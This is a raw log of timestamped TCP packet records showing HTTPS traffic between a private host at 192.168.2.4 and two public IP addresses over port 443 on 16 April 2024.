Apr 16, 2024 21:40:10.350419044 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.360141993 CEST	443	49788	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.360312939 CEST	443	49788	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.360379934 CEST	49788	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.362124920 CEST	49788	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.362145901 CEST	443	49788	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.368586063 CEST	49790	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.368638992 CEST	443	49790	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.368706942 CEST	49790	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.369036913 CEST	49790	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.369065046 CEST	443	49790	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.370445013 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.370462894 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.373703003 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.373752117 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.373764992 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.373797894 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.401372910 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.424779892 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.424863100 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.425785065 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.425837040 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.425848007 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.447123051 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.447231054 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.447298050 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.447334051 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.447396994 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.447504997 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.447525024 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.447561979 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.448354006 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.448419094 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.448434114 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.448462009 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.448489904 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.448508024 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.448534012 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.449270010 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.449328899 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.449341059 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.449373007 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.449390888 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.449402094 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.449434042 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.450124025 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.450185061 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.450196028 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.450217962 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.450242996 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.450253963 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.450304031 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.451083899 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.451172113 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.451173067 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.451201916 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.451246977 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.451324940 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.451335907 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.451483011 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.451529980 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.466362953 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.482106924 CEST	49783	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.482132912 CEST	443	49783	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.496149063 CEST	49791	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.496181965 CEST	443	49791	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.496241093 CEST	49791	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.498617887 CEST	49791	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.498641014 CEST	443	49791	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.526964903 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.527000904 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.527040005 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.527129889 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.527178049 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.527190924 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.527225018 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.527374983 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.527425051 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.528253078 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.528306007 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.528345108 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.528397083 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.529167891 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.529222965 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.529254913 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.529299974 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.530100107 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.530154943 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.530189037 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.530246019 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.531044006 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.531095028 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.531128883 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.531363964 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.531407118 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.562845945 CEST	49786	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.562870026 CEST	443	49786	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.581898928 CEST	49792	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.581979990 CEST	443	49792	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.582057953 CEST	49792	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.582433939 CEST	49792	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.582472086 CEST	443	49792	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.585920095 CEST	443	49790	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.586124897 CEST	49790	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.586163044 CEST	443	49790	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.586566925 CEST	443	49790	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.587397099 CEST	49790	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.587476015 CEST	443	49790	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.587889910 CEST	49790	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.587914944 CEST	443	49790	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.588659048 CEST	49793	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.588687897 CEST	443	49793	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.588735104 CEST	49793	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.588937044 CEST	49793	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.588952065 CEST	443	49793	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.594212055 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.594396114 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.594455004 CEST	49789	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.594494104 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.594532013 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.594599009 CEST	49789	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.595299959 CEST	49789	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.595326900 CEST	443	49789	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.598421097 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.598450899 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.598511934 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.599009037 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.599026918 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.599601030 CEST	49795	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.599623919 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.599699020 CEST	49795	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.599956036 CEST	49795	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.599976063 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.717264891 CEST	443	49784	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.717392921 CEST	443	49784	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.717456102 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.717535019 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.717535019 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.717578888 CEST	443	49784	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.717628002 CEST	49784	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.722477913 CEST	443	49791	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.722706079 CEST	49791	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.722731113 CEST	443	49791	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.723833084 CEST	443	49791	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.724143982 CEST	49791	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.724277020 CEST	49791	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.724284887 CEST	443	49791	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.724313974 CEST	443	49791	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.773817062 CEST	49791	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.807276964 CEST	443	49792	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.807676077 CEST	49792	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.807734966 CEST	443	49792	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.809221983 CEST	443	49792	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.809294939 CEST	49792	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.809947014 CEST	49792	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.810036898 CEST	443	49792	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.810194969 CEST	49792	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.810213089 CEST	443	49792	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.813396931 CEST	443	49793	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.814523935 CEST	49793	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.814553976 CEST	443	49793	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.814969063 CEST	443	49793	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.815567017 CEST	49793	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.815634966 CEST	443	49793	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.815785885 CEST	49793	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.817248106 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.817423105 CEST	49795	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.817436934 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.817776918 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.818357944 CEST	49795	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.818425894 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.818468094 CEST	49795	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.822990894 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.830235004 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.830246925 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.830764055 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.831080914 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.831171036 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.831198931 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.831209898 CEST	443	49794	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:10.853784084 CEST	49792	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:10.860138893 CEST	443	49793	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.860152960 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:10.869062901 CEST	49795	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:10.884488106 CEST	49794	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.019289970 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.019349098 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.019397974 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.019412041 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.019438982 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.019481897 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.019520998 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.019540071 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.019599915 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.019617081 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.019788980 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.019824982 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.019831896 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.019850969 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.019892931 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.069886923 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.118479013 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.118511915 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.166870117 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.211801052 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.211878061 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.212081909 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.212130070 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.212155104 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.212163925 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.212177992 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.212193966 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.212328911 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.212603092 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.212676048 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.212709904 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.213246107 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.213285923 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.213316917 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.213347912 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.213515997 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.213644981 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.213721037 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.213758945 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.213798046 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.213900089 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.213917017 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.214531898 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.214565039 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.214595079 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.214607954 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.214728117 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.229512930 CEST	443	49790	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.229609966 CEST	443	49790	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.230128050 CEST	49790	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.230741024 CEST	49790	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.230773926 CEST	443	49790	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.233427048 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.233427048 CEST	49798	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.233474016 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.233493090 CEST	443	49798	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.233613014 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.233613014 CEST	49798	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.233835936 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.233855963 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.233931065 CEST	49798	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.233944893 CEST	443	49798	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.265471935 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.307677031 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.307735920 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.352895975 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.410315990 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.410494089 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.410864115 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.410953999 CEST	49782	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.410993099 CEST	443	49782	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.416394949 CEST	49799	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.416435957 CEST	443	49799	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.416513920 CEST	49799	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.416758060 CEST	49799	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.416788101 CEST	443	49799	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.449506044 CEST	443	49798	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.449759960 CEST	49798	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.449816942 CEST	443	49798	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.450131893 CEST	443	49798	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.450469017 CEST	49798	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.450531960 CEST	443	49798	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.450567007 CEST	49798	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.452011108 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.452187061 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.452218056 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.452501059 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.452847958 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.452847958 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.452891111 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.452927113 CEST	443	49797	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.493901014 CEST	49798	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.493901014 CEST	49797	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.493911028 CEST	443	49798	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.499655962 CEST	443	49793	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.499727011 CEST	443	49793	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.502377987 CEST	49793	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.505633116 CEST	49793	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.505660057 CEST	443	49793	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.633673906 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.633800030 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.634025097 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.634041071 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.634167910 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.636591911 CEST	49787	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.636615992 CEST	443	49787	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.639086008 CEST	443	49799	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.639220953 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.639266968 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.639314890 CEST	49799	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.639372110 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.639377117 CEST	443	49799	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.639877081 CEST	443	49799	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.639903069 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.639920950 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.640285969 CEST	49799	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.640378952 CEST	443	49799	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.641007900 CEST	49799	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.641011000 CEST	49801	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.641041040 CEST	443	49799	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.641088009 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.641426086 CEST	49801	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.641427040 CEST	49801	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.641506910 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.680777073 CEST	49799	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.691203117 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.691263914 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.691313028 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.691586971 CEST	49795	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.691941977 CEST	49795	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.691982985 CEST	443	49795	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.858077049 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.862766981 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.888603926 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.888639927 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.888672113 CEST	49801	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.888730049 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.889132977 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.889544964 CEST	49801	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.889612913 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.889772892 CEST	49801	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:11.889827013 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.890187025 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.890187025 CEST	49800	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:11.890255928 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.890398979 CEST	443	49800	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:11.932132959 CEST	443	49801	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:11.933707952 CEST	49800	443	192.168.2.4	172.67.191.147
